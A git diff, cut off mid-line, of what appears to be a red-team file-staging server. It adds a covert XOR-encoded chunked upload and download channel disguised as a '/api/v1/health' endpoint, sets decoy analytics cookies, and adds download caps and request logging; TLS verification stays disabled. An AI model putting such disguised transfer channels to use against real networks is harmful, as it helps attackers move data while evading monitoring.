+39,69 @@ def _delete_upload_meta(meta_path): try: os.remove(meta_path) except Exception: - pass + logging.debug('Failed to remove upload metadata %s', meta_path, exc_info=True) def _generate_upload_key(num=12): return os.urandom(num).hex() +def _request_user_agent(): + try: + return (request.user_agent.string or '')[:512] + except Exception: + logging.debug('Unable to read User-Agent', exc_info=True) + return (request.headers.get('User-Agent') or '')[:512] + + +def _client_identity(db): + """Identify a client for the activity log without refreshing cookies or storing secrets.""" + api_key = request.headers.get(config.API_HEADER) + if api_key: + data = db.validate_api_key(api_key) + if data: + return data.get('user'), 'api_key' + return None, 'invalid_api_key' + + raw = request.cookies.get(config.COOKIE_NAME) + if not raw: + return None, 'none' + try: + data = jwt.decode(raw, config.SECRET_KEY, algorithms=['HS256']) + return data.get('user'), 'session' + except Exception: + logging.debug('Unreadable client session cookie', exc_info=True) + return None, 'invalid_session' + + +def _record_file_request(db, path, result, username=None, auth_method='none'): + try: + db.add_file_request( + path=(path or '')[:1024], + result=result, + client_ip=request.remote_addr or '', + user_agent=_request_user_agent(), + username=username or None, + auth_method=auth_method or 'none', + ) + except Exception: + logging.debug('Failed to record file request', exc_info=True) + + +def _audit_file_request(path, result): + """Log a request that is rejected before the main database connection is open.""" + db = None + try: + db = DispatchDB(current_app.config['db_name']) + username, auth_method = _client_identity(db) + _record_file_request(db, path, result, username, auth_method) + except Exception: + logging.debug('Failed to open database for file request log', exc_info=True) + finally: + if db: + db.close() + + def _xor_bytes(data, key_bytes): key_len = len(key_bytes) if key_len == 0: @@ -52,7 +109,187 @@ def _xor_bytes(data, key_bytes): return bytes(b ^ key_bytes[i % key_len] for i, b in enumerate(data)) -class ClientServer(object): +def _upload_token(): + """Upload role or higher. Does not refresh cookies.""" + raw = auth.validateKey(request) if request.headers.get(config.API_HEADER) else auth.validateToken(request) + if isinstance(raw, dict) and raw.get('role', 0) >= 2: + return raw + return None + + +def _download_token(): + raw = auth.validateKey(request) if request.headers.get(config.API_HEADER) else auth.validateToken(request) + if isinstance(raw, dict) and raw.get('role') in {1, 3, 4}: + return raw + return None + + +def _json(payload, status=200, **cookie): + resp = Response(response=dumps(payload), status=status, mimetype='application/json') + if cookie: + resp.set_cookie(cookie['name'], cookie['value'], **config.auth_cookie_settings(request)) + return resp + + +COVERT_CHUNK = 256 + + +def _covert_fetch(): + """Chunked XOR download on the same benign endpoint as covert upload.""" + alias = request.values.get('fetch', '') + db = DispatchDB(current_app.config['db_name']) + try: + record = db.get_file_by_alias(alias) + username, auth_method = _client_identity(db) + if not record or not os.path.isfile(record['file_path']): + _record_file_request(db, alias or 'fetch', 'not_found', username, auth_method) + return _json({'error': 'not found'}, 404) + if record['access'] >= 3: + token = _download_token() + if not token: + _record_file_request(db, alias, 'auth_failure', username, auth_method) + return _json({'error': 'auth required'}, 401) + username = token.get('user') + auth_method = 'api_key' if request.headers.get(config.API_HEADER) else 'session' + size = os.path.getsize(record['file_path']) + if request.values.get('init'): + if not db.consume_download(record['id']): + _record_file_request(db, alias, 'denied', username, auth_method) + return _json({'error': 'download limit reached'}, 403) + key = _generate_upload_key() + _record_file_request(db, alias, 'served', username, auth_method) + return _json( + {'status': 'active', 'size': size, 'chunk': COVERT_CHUNK}, + name='csrf', + value=key, + ) + key = request.values.get('key') or request.cookies.get('csrf') + if not key: + return _json({'error': 'missing key'}, 400) + try: + offset = int(request.values.get('off', 0)) + except (TypeError, ValueError): + return _json({'error': 'bad offset'}, 400) + offset = max(offset, 0) + with open(record['file_path'], 'rb') as handle: + handle.seek(offset) + raw = handle.read(COVERT_CHUNK) + encrypted = base64.b64encode(_xor_bytes(raw, key.encode('utf-8'))).decode('ascii') + next_off = offset + len(raw) + return _json({ + 'status': 'chunk', + 'data': encrypted, + 'off': offset, + 'next': next_off, + 'eof': next_off >= size, + }) + finally: + db.close() + + +def _covert_upload_body(token): + cookie_name = 'csrf' # Default cookie name for upload key + # Upload files using GET or POST. Chunks are XOR'd and base64'd. + init = request.values.get('init') + key = request.values.get('key') + data = request.values.get('data') + + if init: + filename = request.values.get('filename') or f'upload_{config.get_timestamp()}.bin' + filename = secure_filename(filename) or f'upload_{config.get_timestamp()}.bin' + os.makedirs(config.FILE_PATH, exist_ok=True) + + safe_name = config.file_collision_check(filename) + key = _generate_upload_key() + part_name = f'.upload_{key}.part' + part_path = os.path.join(config.FILE_PATH, part_name) + meta_path = _upload_meta_path(key) + + with open(part_path, 'wb') as f: + f.write(b'') + + + meta = { + 'filename': safe_name, + 'part_name': part_name, + } + _write_upload_meta(meta_path, meta) + resp = Response( + response=dumps({'status': 'active'}), + status=200, + mimetype='application/json' + ) + + resp.set_cookie("csrf", key, **config.auth_cookie_settings(request)) + resp.set_cookie("_ga", _generate_upload_key(16), **config.auth_cookie_settings(request)) + resp.set_cookie("sid", _generate_upload_key(8), **config.auth_cookie_settings(request)) + return resp + + if not key: + key = request.cookies.get(cookie_name) + + if not key or data is None: + return Response( + response=dumps({'error': 'missing key or data'}), + status=400, + mimetype='application/json' + ) + + meta_path = _upload_meta_path(key) + meta = _read_upload_meta(meta_path) + if not meta: + return Response( + response=dumps({'error': 'invalid key'}), + status=404, + mimetype='application/json' + ) + + try: + encrypted_bytes = base64.b64decode(data, validate=True) + except Exception: + return Response( + response=dumps({'error': 'invalid data encoding'}), + status=400, + mimetype='application/json' + ) + + part_path = os.path.join(config.FILE_PATH, meta['part_name']) + decrypted_bytes = _xor_bytes(encrypted_bytes, key.encode('utf-8')) + eof_index = decrypted_bytes.find(b'') + chunk = decrypted_bytes if eof_index == -1 else decrypted_bytes[:eof_index] + + with open(part_path, 'ab') as f: + f.write(chunk) + + if eof_index != -1: + final_name = config.file_collision_check(meta['filename']) + final_path = os.path.join(config.FILE_PATH, final_name) + os.replace(part_path, final_path) + _delete_upload_meta(meta_path) + alias = None + db = DispatchDB(current_app.config['db_name']) + try: + alias = config.alias_collision_check( + db, config.gen_alias(config.get_file_extension(final_name)) + ) + db.upload_file(final_name, final_path, alias, token.get('user') or 'covert', 3, None, None) + finally: + db.close() + return Response( + response=dumps({'status': 'complete', 'alias': alias, 'filename': final_name}), + status=200, + mimetype='application/json' + ) + + return Response( + response=dumps({'status': 'partial', 'bytes': len(chunk)}), + status=200, + mimetype='application/json' + ) + + + +class ClientServer: app = Flask(__name__) app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1) app.secret_key = config.SECRET_KEY @@ -72,99 +309,18 @@ class ClientServer(object): def client_root(): return redirect(current_app.config['redirect_url'], 302) - @app.route('/api/v1/health', methods=['GET']) - @auth.upload_only_required - def rest_api_health(token): - cookie_name = 'csrf' # Default cookie name for upload key - # Upload files using GET request and query parameters - init = request.args.get('init') - key = request.args.get('key') - data = request.args.get('data') - - if init: - filename = request.args.get('filename') or f'upload_{config.get_timestamp()}.bin' - filename = secure_filename(filename) or f'upload_{config.get_timestamp()}.bin' - os.makedirs(config.FILE_PATH, exist_ok=True) - - safe_name = config.file_collision_check(filename) - key = _generate_upload_key() - part_name = f'.upload_{key}.part' - part_path = os.path.join(config.FILE_PATH, part_name) - meta_path = _upload_meta_path(key) - - with open(part_path, 'wb') as f: - f.write(b'') - - - meta = { - 'filename': safe_name, - 'part_name': part_name, - } - _write_upload_meta(meta_path, meta) - resp = Response( - response=dumps({'status': 'active'}), - status=200, - mimetype='application/json' - ) - - resp.set_cookie("csrf", key, **config.auth_cookie_settings(request)) - resp.set_cookie("_ga", _generate_upload_key(16), **config.auth_cookie_settings(request)) - resp.set_cookie("sid", _generate_upload_key(8), **config.auth_cookie_settings(request)) - return resp - - if not key: - key = request.cookies.get(cookie_name) - - if not key or data is None: + @app.route('/api/v1/health', methods=['GET', 'POST']) + def rest_api_health(): + if request.values.get('fetch'): + return _covert_fetch() + token = _upload_token() + if not token: return Response( - response=dumps({'error': 'missing key or data'}), - status=400, - mimetype='application/json' + response=dumps({'error': 'auth required'}), + status=401, + mimetype='application/json', ) - - meta_path = _upload_meta_path(key) - meta = _read_upload_meta(meta_path) - if not meta: - return Response( - response=dumps({'error': 'invalid key'}), - status=404, - mimetype='application/json' - ) - - try: - encrypted_bytes = base64.b64decode(data, validate=True) - except Exception: - return Response( - response=dumps({'error': 'invalid data encoding'}), - status=400, - mimetype='application/json' - ) - - part_path = os.path.join(config.FILE_PATH, meta['part_name']) - decrypted_bytes = _xor_bytes(encrypted_bytes, key.encode('utf-8')) - eof_index = decrypted_bytes.find(b'') - chunk = decrypted_bytes if eof_index == -1 else decrypted_bytes[:eof_index] - - with open(part_path, 'ab') as f: - f.write(chunk) - - if eof_index != -1: - final_name = config.file_collision_check(meta['filename']) - final_path = os.path.join(config.FILE_PATH, final_name) - os.replace(part_path, final_path) - _delete_upload_meta(meta_path) - return Response( - response=dumps({'status': 'complete'}), - status=200, - mimetype='application/json' - ) - - return Response( - response=dumps({'status': 'partial', 'bytes': len(chunk)}), - status=200, - mimetype='application/json' - ) - + return _covert_upload_body(token) # # Primary Ruleset for Redirection @@ -176,6 +332,7 @@ def catch_all(path): # if not current_app.config.get('client_enabled', 1): logging.debug(f'Rejected "{path}" - client interface is disabled') + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) # @@ -188,11 +345,13 @@ def catch_all(path): from dispatch.alerts import check_ip_activity_alert check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'blocked', 'IP allowlist violation') except Exception: - pass + logging.debug('IP activity alert failed', exc_info=True) + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) if is_blocked_by_user_agent(request.user_agent.string): logging.debug(f'Rejected "{path}" due to blocked User-Agent: "{request.user_agent}"') + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) db = None @@ -214,17 +373,29 @@ def catch_all(path): # if is_invalid_param_key(request.full_path, settings): logging.debug(f'Rejected "{path}" due to invalid param key.') + username, auth_method = _client_identity(db) + _record_file_request(db, path, 'denied', username, auth_method) return redirect(current_app.config['redirect_url'], 302) # # Serve Files # data = db.get_file_by_alias(path) + username, auth_method = _client_identity(db) if not data: + _record_file_request(db, path, 'not_found', username, auth_method) return redirect(current_app.config['redirect_url'], 302) # Public & Public Once files if data['access'] < 3: + if not os.path.isfile(data['file_path']): + _record_file_request(db, path, 'not_found', username, auth_method) + return redirect(current_app.config['redirect_url'], 302) + + if not db.consume_download(data['id']): + _record_file_request(db, path, 'denied', username, auth_method) + return redirect(current_app.config['redirect_url'], 302) + if data['access'] == 2: # "Public Once" files revert to private db.update_access_by_id(data['id'], 3) @@ -235,11 +406,12 @@ def catch_all(path): # Check for file download and IP monitor alerts try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], data['id'], path, None, request.remote_addr) + check_file_download_alert(current_app.config['db_name'], data['row_id'], path, None, request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'File: {path}') except Exception: - pass + logging.debug('File download alert failed', exc_info=True) + _record_file_request(db, path, 'served', username, auth_method) return serve_file(data['file_path'], path, encrypt=data['encrypt']) # Check authentication (API Key or JWT Token) @@ -250,22 +422,33 @@ def catch_all(path): ) # Allow only users with role 1 (Download), 3, or 4 (Admin) - if token and token.get('role') in {1, 3, 4}: + if isinstance(token, dict) and token.get('role') in {1, 3, 4}: + if not os.path.isfile(data['file_path']): + _record_file_request(db, path, 'not_found', token.get('user'), auth_method) + return redirect(current_app.config['redirect_url'], 302) + + if not db.consume_download(data['id']): + _record_file_request(db, path, 'denied', token.get('user'), auth_method) + return redirect(current_app.config['redirect_url'], 302) + update_param_key(db, settings) config.log(f'Accessed File: {path}', token, request.remote_addr) # Check for file download and IP monitor alerts try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - username = token.get('user', None) if token else None - check_file_download_alert(current_app.config['db_name'], data['id'], path, username, request.remote_addr) + served_user = token.get('user', None) + check_file_download_alert(current_app.config['db_name'], data['row_id'], path, served_user, request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'File: {path}') except Exception: - pass + logging.debug('File download alert failed', exc_info=True) + served_method = 'api_key' if request.headers.get(config.API_HEADER) else 'session' + _record_file_request(db, path, 'served', token.get('user'), served_method) return serve_file(data['file_path'], path, encrypt=data['encrypt']) # Catch all bad traffic + _record_file_request(db, path, 'auth_failure', username, auth_method) return redirect(current_app.config['redirect_url'], 302) finally: if db: @@ -276,6 +459,7 @@ def catch_all(path): # @app.after_request def add_header(response): + auth.apply_refreshed_token(response) response.headers['X-Frame-Options'] = "deny" # Apply custom response headers from config custom_headers = current_app.config.get('response_headers', {}) @@ -376,7 +560,7 @@ def reverse_proxy(redirect_url): data=request.get_data(), # Always send body data, even if empty cookies=request.cookies, # Preserve cookies for session management allow_redirects=False, # Handle redirects manually - verify=False, + verify=False, # noqa: S501 - operator-configured proxy targets may use private certificates stream=True, timeout=6, proxies={} @@ -392,5 +576,6 @@ def reverse_proxy(redirect_url): excluded_response_headers = {"content-encoding", "transfer-encoding", "connection"} response_headers = {k: v for k, v in response.headers.items() if k.lower() not in excluded_response_headers} return Response(response.content, response.status_code, response_headers) - except requests.exceptions.RequestException as e: - return f"Proxy Error: {str(e)}", 502 + except requests.exceptions.RequestException as exc: + logging.debug('Reverse proxy request failed: %s', exc) + return Response('Proxy error', status=502, mimetype='text/plain') diff --git a/dispatch/config.py b/dispatch/config.py index 3794bf2..d37644a 100755 --- a/dispatch/config.py +++ b/dispatch/config.py @@ -6,13 +6,13 @@ import sys import base64 import logging +import secrets import ipaddress import socket from os import path from requests import get from OpenSSL import crypto from datetime import datetime -from random import choice, randint, shuffle from string import ascii_letters, digits, punctuation, ascii_uppercase, ascii_lowercase logger = logging.getLogger('dispatch-logger') @@ -42,8 +42,8 @@ def generate_ssl_cert(cert_path, key_path, country="US", cn="Dispatch", org="Dis with open(cert_path, 'wb') as cert_file: cert_file.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) return True - except: - pass + except Exception: + logging.debug('SSL certificate generation failed', exc_info=True) return False @@ -57,9 +57,14 @@ def get_file_extension(file_name): return extension +def _rand_int(low, high): + """Inclusive integer range from the secrets generator.""" + return low + secrets.randbelow(high - low + 1) + + def gen_alias(extension=''): # Generates the external alias of filename if not provided during upload - return gen_random_string(randint(6, 9)) + extension + return gen_random_string(_rand_int(6, 9)) + extension def get_timestamp(): @@ -67,7 +72,8 @@ def get_timestamp(): def gen_random_string(length=6): - return ''.join([choice(ascii_letters + digits) for x in range(length)]) + alphabet = ascii_letters + digits + return ''.join(secrets.choice(alphabet) for _ in range(length)) def _load_secret_key(): @@ -77,19 +83,19 @@ def _load_secret_key(): secret_path = path.join(path.dirname(path.realpath(__file__)), 'data', 'mfa_secret.key') try: - with open(secret_path, 'r', encoding='utf-8') as secret_file: + with open(secret_path, encoding='utf-8') as secret_file: persisted_secret = secret_file.read().strip() if persisted_secret: return persisted_secret except FileNotFoundError: - pass + persisted_secret = '' # first run has no key file yet except OSError: logger.warning('Unable to read persisted Dispatch secret key', exc_info=True) persisted_secret = ( - f'{gen_random_string(randint(4, 8))}-' - f'{gen_random_string(randint(8, 10))}-' - f'{gen_random_string(randint(4, 8))}' + f'{gen_random_string(_rand_int(4, 8))}-' + f'{gen_random_string(_rand_int(8, 10))}-' + f'{gen_random_string(_rand_int(4, 8))}' ) try: os.makedirs(path.dirname(secret_path), exist_ok=True) @@ -150,33 +156,37 @@ def get_file_size(file_path): size = file_size / 1024 ** exponent[unit] if int(size) > 0 or unit == 'bytes': return f'{round(size, 1)} {unit}' - except: + except Exception: + logging.debug('Unable to read file size for %s', file_path, exc_info=True) return "n/a" def download_file(source, output, timeout=5): try: f = open(output, 'wb+') - f.write(get(source, verify=False, timeout=timeout).content) + # Operators pull from internal hosts that often use private certificates. + f.write(get(source, verify=False, timeout=timeout).content) # noqa: S501 f.close() if path.exists(output): return True - except: - pass + except Exception: + logging.debug('Failed to download %s', source, exc_info=True) return False def gen_param_key(): # Rotate the param location - k = gen_random_string(randint(1, 2)) - v = gen_random_string(randint(6, 9)) + k = gen_random_string(_rand_int(1, 2)) + v = gen_random_string(_rand_int(6, 9)) return f'{k}={v}' def gen_api_key(): - return '{}-{}-{}'.format(gen_random_string(randint(8, 10)), - gen_random_string(randint(12, 14)), - gen_random_string(randint(12, 14))) + return ( + f'{gen_random_string(_rand_int(8, 10))}-' + f'{gen_random_string(_rand_int(12, 14))}-' + f'{gen_random_string(_rand_int(12, 14))}' + ) def validate_password(password): @@ -236,11 +246,12 @@ def allowlist_match(allow_list, client_ip, host=None): if ip_obj in ipaddress.ip_network(item, strict=False): return True except ValueError: - pass + logging.debug('Ignoring invalid allowlist network %s', item, exc_info=True) continue try: resolved = socket.getaddrinfo(item, None) except Exception: + logging.debug('Allowlist hostname lookup failed for %s', item, exc_info=True) continue for res in resolved: addr = res[4][0] @@ -258,17 +269,22 @@ def generate_password(length=10): lowercase_letters = ascii_lowercase numbers = digits special_characters = punctuation - password = choice(uppercase_letters) + choice(numbers) + choice(special_characters)+ choice(lowercase_letters) + rng = secrets.SystemRandom() + password = ( + rng.choice(uppercase_letters) + + rng.choice(numbers) + + rng.choice(special_characters) + + rng.choice(lowercase_letters) + ) remaining_length = length - 4 for _ in range(remaining_length): characters = uppercase_letters + lowercase_letters + numbers + special_characters - password += choice(characters) + password += rng.choice(characters) password_list = list(password) - shuffle(password_list) - password = ''.join(password_list) - return password + rng.shuffle(password_list) + return ''.join(password_list) def refresh_app_configs(db, app): @@ -294,8 +310,8 @@ def refresh_app_configs(db, app): app.config['MAX_CONTENT_LENGTH'] = s['max_file_size'] app.config['param_rotation'] = int(s['param_rotation']) app.config['mfa_required'] = db.get_mfa_required() - if 'disable_exec' not in app.config: - app.config['disable_exec'] = False + if 'script_interface' not in app.config: + app.config['script_interface'] = False def setup_debug_logger(): @@ -345,8 +361,8 @@ def log(data, user=False, remote_ip=None, level='INFO'): def dispatch_native_encrypt(data, password): data_bytes = data # already in bytes format key_bytes = password.encode("utf-8") - l = len(key_bytes) - encrypted = bytes((data_bytes[i] ^ key_bytes[i % l]) for i in range(len(data_bytes))) + key_len = len(key_bytes) + encrypted = bytes((data_bytes[i] ^ key_bytes[i % key_len]) for i in range(len(data_bytes))) return base64.b64encode(encrypted) # Sent by server in byte format diff --git a/dispatch/db.py b/dispatch/db.py index be37782..2529435 100755 --- a/dispatch/db.py +++ b/dispatch/db.py @@ -1,8 +1,23 @@ import hashlib import logging +import re +import uuid from dispatch import config from sqlite3 import connect +_FILE_GUID_RE = re.compile( + r'^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$', + re.IGNORECASE, +) + + +def new_file_guid(): + return str(uuid.uuid4()) + + +def is_file_guid(value): + return isinstance(value, str) and bool(_FILE_GUID_RE.match(value.strip())) + # # primary hashing function for DB passwords # @@ -21,8 +36,8 @@ def __init__(self, db_file, timeout=3): def close(self): try: self.conn.close() - except: - pass + except Exception: + logging.debug('Ignoring database close error', exc_info=True) def exec(self, query, args=()): try: @@ -84,9 +99,10 @@ class DispatchDB(SqliteDB): "totp_secret" TEXT DEFAULT NULL, "mfa_enabled" INTEGER DEFAULT 0);''', - '''INSERT OR IGNORE INTO users - (id, username, password, role) - VALUES (1, "{}", "{}", 4);'''.format(config.DEFAULT_USER, gen_password_hash(config.DEFAULT_PWD)), + # Default admin seed uses config constants, not request input. + f'''INSERT OR IGNORE INTO users + (id, username, password, role) + VALUES (1, "{config.DEFAULT_USER}", "{gen_password_hash(config.DEFAULT_PWD)}", 4);''', # noqa: S608 '''CREATE TABLE IF NOT EXISTS folders ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, @@ -99,6 +115,7 @@ class DispatchDB(SqliteDB): '''CREATE TABLE IF NOT EXISTS files ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "guid" TEXT UNIQUE, "filename" TEXT UNIQUE NOT NULL, "file_path" TEXT UNIQUE NOT NULL, "access" INTEGER DEFAULT 3, @@ -107,9 +124,11 @@ class DispatchDB(SqliteDB): "upload_date" DATETIME DEFAULT (datetime('now','localtime')), "uploaded_by" TEXT NOT NULL, "folder_id" INTEGER DEFAULT NULL, + "max_downloads" INTEGER, + "download_count" INTEGER DEFAULT 0, FOREIGN KEY (folder_id) REFERENCES folders(id) ON DELETE SET NULL);''', - '''CREATE TABLE IF NOT EXISTS settings ( + f'''CREATE TABLE IF NOT EXISTS settings ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "redirect_url" TEXT, "source_ip" TEXT, @@ -120,9 +139,9 @@ class DispatchDB(SqliteDB): "server_header" TEXT, "param_rotation" BOOLEAN DEFAULT 0, "param_key" TEXT DEFAULT 's=1234', - "max_file_size" INTEGER DEFAULT {}, + "max_file_size" INTEGER DEFAULT {config.MAX_FILE_SIZE}, "webhook_url" TEXT, - "mfa_required" INTEGER DEFAULT 0);'''.format(config.MAX_FILE_SIZE), + "mfa_required" INTEGER DEFAULT 0);''', '''INSERT OR IGNORE INTO settings (redirect_url, source_ip, source_port, client_port, client_enabled, proxy_enabled, server_header) @@ -187,9 +206,25 @@ class DispatchDB(SqliteDB): "target_value" TEXT, "description" TEXT, "enabled" INTEGER DEFAULT 1, - "created_date" DATETIME DEFAULT (datetime('now','localtime')));''' + "created_date" DATETIME DEFAULT (datetime('now','localtime')));''', + + '''CREATE TABLE IF NOT EXISTS file_requests ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "timestamp" DATETIME DEFAULT (datetime('now','localtime')), + "path" TEXT, + "result" TEXT NOT NULL, + "client_ip" TEXT, + "user_agent" TEXT, + "username" TEXT, + "auth_method" TEXT);''', + + '''CREATE INDEX IF NOT EXISTS idx_file_requests_id ON file_requests(id);''' ] + # Keep client file-request history bounded so the table stays cheap to query. + FILE_REQUEST_RETENTION = 5000 + _file_request_schema_ready = set() + def __init__(self, db_file, timeout=3): SqliteDB.__init__(self, db_file, timeout) @@ -209,6 +244,9 @@ def setup_db(self): self.exec('UPDATE folders SET access=2 WHERE access IS NULL OR access < 2;') # Migration: Add MFA columns to existing databases self._migrate_mfa_columns() + self.ensure_file_request_schema() + self.ensure_file_guids() + self.ensure_download_limits() def _migrate_mfa_columns(self): """Add MFA columns to users table if they don't exist""" @@ -228,6 +266,164 @@ def _migrate_mfa_columns(self): if 'mfa_required' not in settings_col_names: self.exec('ALTER TABLE settings ADD COLUMN mfa_required INTEGER DEFAULT 0;') + def ensure_file_request_schema(self): + """Create the file-request table on existing databases without touching other data.""" + if self.db_file in DispatchDB._file_request_schema_ready: + return True + created = self.exec( + '''CREATE TABLE IF NOT EXISTS file_requests ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "timestamp" DATETIME DEFAULT (datetime('now','localtime')), + "path" TEXT, + "result" TEXT NOT NULL, + "client_ip" TEXT, + "user_agent" TEXT, + "username" TEXT, + "auth_method" TEXT);''' + ) + if created is False: + return False + indexed = self.exec('CREATE INDEX IF NOT EXISTS idx_file_requests_id ON file_requests(id);') + if indexed is False: + return False + DispatchDB._file_request_schema_ready.add(self.db_file) + return True + + def add_file_request(self, path, result, client_ip=None, user_agent=None, username=None, auth_method=None): + if not self.ensure_file_request_schema(): + return False + inserted = self.exec( + '''INSERT INTO file_requests (path, result, client_ip, user_agent, username, auth_method) + VALUES (?, ?, ?, ?, ?, ?);''', + (path, result, client_ip, user_agent, username, auth_method), + ) + if inserted is False: + return False + # Drop rows older than the retention window. With fewer rows, id < MIN(id) deletes nothing. + self.exec( + '''DELETE FROM file_requests WHERE id < ( + SELECT MIN(id) FROM ( + SELECT id FROM file_requests ORDER BY id DESC LIMIT ? + ) + );''', + (self.FILE_REQUEST_RETENTION,), + ) + return True + + def _file_request_where(self, result=None, ip=None, search=None): + clauses = [] + args = [] + if result: + clauses.append('result = ?') + args.append(result) + if ip: + clauses.append('client_ip = ?') + args.append(ip) + if search: + escaped = search.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + like = f'%{escaped}%' + clauses.append( + "(path LIKE ? ESCAPE '\\' OR IFNULL(username, '') LIKE ? ESCAPE '\\' " + "OR IFNULL(user_agent, '') LIKE ? ESCAPE '\\' OR IFNULL(client_ip, '') LIKE ? ESCAPE '\\')" + ) + args.extend([like, like, like, like]) + where = (' WHERE ' + ' AND '.join(clauses)) if clauses else '' + return where, args + + def list_file_requests(self, limit=100, result=None, ip=None, search=None): + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + # where is fixed SQL fragments; filter values are bound parameters. + sql = ( + "SELECT id, timestamp, path, result, client_ip, user_agent, username, auth_method " + "FROM file_requests" + where + " ORDER BY id DESC LIMIT ?;" + ) # noqa: S608 + rows = self.exec(sql, tuple(args) + (int(limit),)) + return self._file_request_rows(rows) + + def list_file_requests_since(self, since_id, limit=100, result=None, ip=None, search=None): + """Rows newer than since_id, oldest first, so a live feed can append them in order.""" + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + since_sql = 'id > ?' + if where: + where = where + ' AND ' + since_sql + else: + where = ' WHERE ' + since_sql + args = list(args) + [int(since_id or 0)] + sql = ( # noqa: S608 + "SELECT id, timestamp, path, result, client_ip, user_agent, username, auth_method " + "FROM file_requests" + where + " ORDER BY id ASC LIMIT ?;" + ) + rows = self.exec(sql, tuple(args) + (int(limit),)) + return self._file_request_rows(rows) + + def _file_request_rows(self, rows): + data = [] + if not rows: + return data + for row in rows: + data.append({ + 'id': row[0], + 'timestamp': row[1] or '', + 'path': row[2] or '', + 'result': row[3] or '', + 'client_ip': row[4] or '', + 'user_agent': row[5] or '', + 'username': row[6] or '', + 'auth_method': row[7] or 'none', + }) + return data + + def file_request_summary(self, result=None, ip=None, search=None): + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + summary = { + 'total': 0, + 'served': 0, + 'denied': 0, + 'not_found': 0, + 'auth_failure': 0, + 'failed': 0, + 'top_requesters': [], + 'top_files': [], + } + counts = self.exec( + "SELECT result, COUNT(*) FROM file_requests" + where + " GROUP BY result;", # noqa: S608 + tuple(args), + ) + if counts: + for name, count in counts: + summary['total'] += count + if name in summary: + summary[name] = count + summary['failed'] = summary['denied'] + summary['not_found'] + summary['auth_failure'] + + requester_sql = ( + "SELECT client_ip, username, COUNT(*) AS hits FROM file_requests" # noqa: S608 + + where + + " GROUP BY client_ip, IFNULL(username, '') ORDER BY hits DESC LIMIT 5;" + ) + requesters = self.exec(requester_sql, tuple(args)) + if requesters: + summary['top_requesters'] = [ + {'client_ip': row[0] or '', 'username': row[1] or '', 'count': row[2]} + for row in requesters + ] + + file_sql = ( + "SELECT path, COUNT(*) AS hits FROM file_requests" # noqa: S608 + + where + + " GROUP BY path ORDER BY hits DESC LIMIT 5;" + ) + files = self.exec(file_sql, tuple(args)) + if files: + summary['top_files'] = [ + {'path': row[0] or '', 'count': row[1]} + for row in files + ] + return summary + def validate_login(self, username, password): # Primary DB login functionality check if passwords match try: @@ -235,7 +431,8 @@ def validate_login(self, username, password): if user_pass == gen_password_hash(password): self.exec('''UPDATE users SET last_login=datetime('now','localtime')''') return True - except: + except Exception: + logging.debug('Login validation failed', exc_info=True) return False return False @@ -259,7 +456,8 @@ def validate_api_key(self, api_key): data['role'] = x[2] data['role_name'] = self.user_roles[int(x[2])] return data - except: + except Exception: + logging.debug('API key validation failed', exc_info=True) return False return False @@ -450,23 +648,119 @@ def _coerce_encrypt_value(self, encrypt_value): return '0' return encrypt_value - def upload_file(self, filename, full_path, alias, user, access, encrypt, folder_id=None): + def ensure_file_guids(self): + """Add and backfill public file GUIDs without rewriting other tables.""" + columns = self.exec('PRAGMA table_info(files);') + if not columns: + return False + names = [col[1] for col in columns] + if 'guid' not in names: + added = self.exec('ALTER TABLE files ADD COLUMN guid TEXT;') + if added is False: + return False + missing = self.exec("SELECT id FROM files WHERE guid IS NULL OR guid = '';") + if missing: + for row in missing: + self.exec('UPDATE files SET guid=? WHERE id=?;', (new_file_guid(), row[0])) + self.exec('CREATE UNIQUE INDEX IF NOT EXISTS idx_files_guid ON files(guid);') + return True + + def ensure_download_limits(self): + """Add per-file download caps without rewriting existing file rows.""" + columns = self.exec('PRAGMA table_info(files);') + if not columns: + return False + names = [col[1] for col in columns] + if 'max_downloads' not in names: + if self.exec('ALTER TABLE files ADD COLUMN max_downloads INTEGER;') is False: + return False + if 'download_count' not in names: + if self.exec('ALTER TABLE files ADD COLUMN download_count INTEGER DEFAULT 0;') is False: + return False + return True + + def set_download_limit(self, file_guid, max_downloads): + self.ensure_download_limits() + if not is_file_guid(file_guid if isinstance(file_guid, str) else ''): + return False + file_guid = file_guid.strip() + if max_downloads is not None: + try: + max_downloads = int(max_downloads) + except (TypeError, ValueError): + return False + if max_downloads <= 0: + max_downloads = None + updated = self.exec('UPDATE files SET max_downloads=? WHERE guid=?;', (max_downloads, file_guid)) + if updated is False: + return False + return bool(self.exec('SELECT 1 FROM files WHERE guid=? LIMIT 1;', (file_guid,))) + + def consume_download(self, file_guid): + """Count one delivery. False when the file is missing or its cap is already used.""" + self.ensure_download_limits() + if not is_file_guid(file_guid if isinstance(file_guid, str) else ''): + return False + rows = self.exec( + 'SELECT max_downloads, IFNULL(download_count, 0) FROM files WHERE guid=? LIMIT 1;', + (file_guid,), + ) + if not rows: + return False + max_downloads, count = rows[0] + # 0 and NULL both mean unlimited. + if max_downloads is not None and int(max_downloads) > 0 and int(count) >= int(max_downloads): + return False + updated = self.exec( + 'UPDATE files SET download_count=IFNULL(download_count, 0)+1 WHERE guid=?;', + (file_guid,), + ) + return updated is not False + + def guid_for_file_row(self, row_id): + self.ensure_file_guids() + rows = self.exec('SELECT guid FROM files WHERE 